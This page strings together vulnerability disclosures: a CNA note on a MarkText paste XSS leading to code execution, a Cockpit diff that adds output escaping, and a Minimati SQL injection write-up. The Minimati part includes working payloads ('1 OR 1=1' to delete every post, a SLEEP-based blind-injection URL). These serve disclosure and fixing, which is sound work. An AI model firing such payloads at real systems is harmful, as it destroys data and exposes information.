As STAR Labs is a CVE Numbering Authority (CNA), the following CVE identifiers are reserved by STAR Labs to track the vulnerabilities presented in this report:

1.  **CVE-2023-2318**  
    DOM-Based Cross-site Scripting (XSS) in src/muya/lib/contentState/pasteCtrl.js in MarkText 0.17.1 allows attackers to run arbitrary JavaScript code and execute system commands by convincing the victim to copy text from a crafted webpage and paste it into MarkText.

STAR Labs requests that MarkText use the above reserved CVE identifiers when referencing the vulnerabilities presented in this report instead of requesting for new CVE identifiers (e.g. via MITRE or GitHub Security Advisory) to prevent having duplicate CVE records.

CVE-2023-2318: Security Issue: DOM-Based XSS leading to RCE · Issue #3618 · marktext/marktext

Cross-site Scripting (XSS) - Reflected in GitHub repository cockpit-hq/cockpit prior to 2.6.4.

Expand Up

@@ -5,7 +5,7 @@

</head\>

<body\>

<rapi-doc

spec-url\="<?=$openApiUrl?>"

spec-url\="<?=$this\->escape($openApiUrl)?>"

show-header\="false"

show-info\="false"

render-style\="read"

Expand All

@@ -14,12 +14,12 @@

<?php if($apiKey): ?>

api-key-name = "api-key"

api-key-location = "header"

api-key-value = "<?=$apiKey?>"

api-key-value = "<?=$this\->escape($apiKey)?>"

<?php endif ?>

  

bg-color\="<?=($bgColor ? $bgColor : '#10131a')?>"

text-color\="<?=($textColor ? $textColor : '#fafafa')?>"

primary-color\="<?=($primaryColor ? $primaryColor : '#0e8fff')?>"

bg-color\="<?=$this\->escape($bgColor ? $bgColor : '#10131a')?>"

text-color\="<?= $this\->escape($textColor ? $textColor : '#fafafa')?>"

primary-color\="<?= $this\->escape($primaryColor ? $primaryColor : '#0e8fff')?>"

\></rapi-doc\>

  

<script type\="module" src\="<?=$this\->base('system:assets/vendor/rapidoc.js')?>"\></script\>

Expand Down

CVE-2023-4432: Fix possible Cross-site Scripting (XSS) in Rest/GraphQL viewer · Cockpit-HQ/Cockpit@2a93d39

Cross-site Scripting (XSS) - Stored in GitHub repository cockpit-hq/cockpit prior to 2.6.4.

CVE-2023-4433

SQL injection vulnerability in Kidus Minimati v.1.0.0 allows a remote attacker to obtain sensitive information via theID parameter in the fulldelete.php component.

An unauthenticated user can input SQL queries in the ID parameter to retrieve data. ID parameter is vulnerable to **"time-based blind SQL injection"**. Furthermore it is possible for an attacker to delete all the blog posts by injecting SQL commands.

I will explain both of them. lets start with deleting all the posts through SQL injection

**Deleting all blog posts**

SQL query in Minimati.php to delete a single blog post is :

DELETE FROM \`blog\` WHERE ID\=$articleID

Now, if a user inputs 1 OR 1=1 in fulldelete.php for ID parameter, the query becomes :

DELETE FROM \`blog\` WHERE ID\=1 OR 1\=1

With 1=1, all the records in "blog" table will be selected for deletion.  
The below image illustrates the whole process. As it can be seen, after running the bash script, MYSQL return "Empty set". The dangerous part is, an unauthenticated user can access "fulldelete.php".  

**Time-Based Blind SQL Injection**

Time based injection can be used to retrieve data. Even though it is a time consuming process , there are tools which can make is easier. So an attacker won't hesitate to exploit it.

To prove that time based SQL injection exists, consider the below query.  
http://localhost/fulldelete.php?ID=1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))vuln)  
On execution, the page will wait for 5 or little more than 5 seconds before sending a response.

DELETE FROM \`blog\` WHERE ID\=1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))vuln)

Source

CVE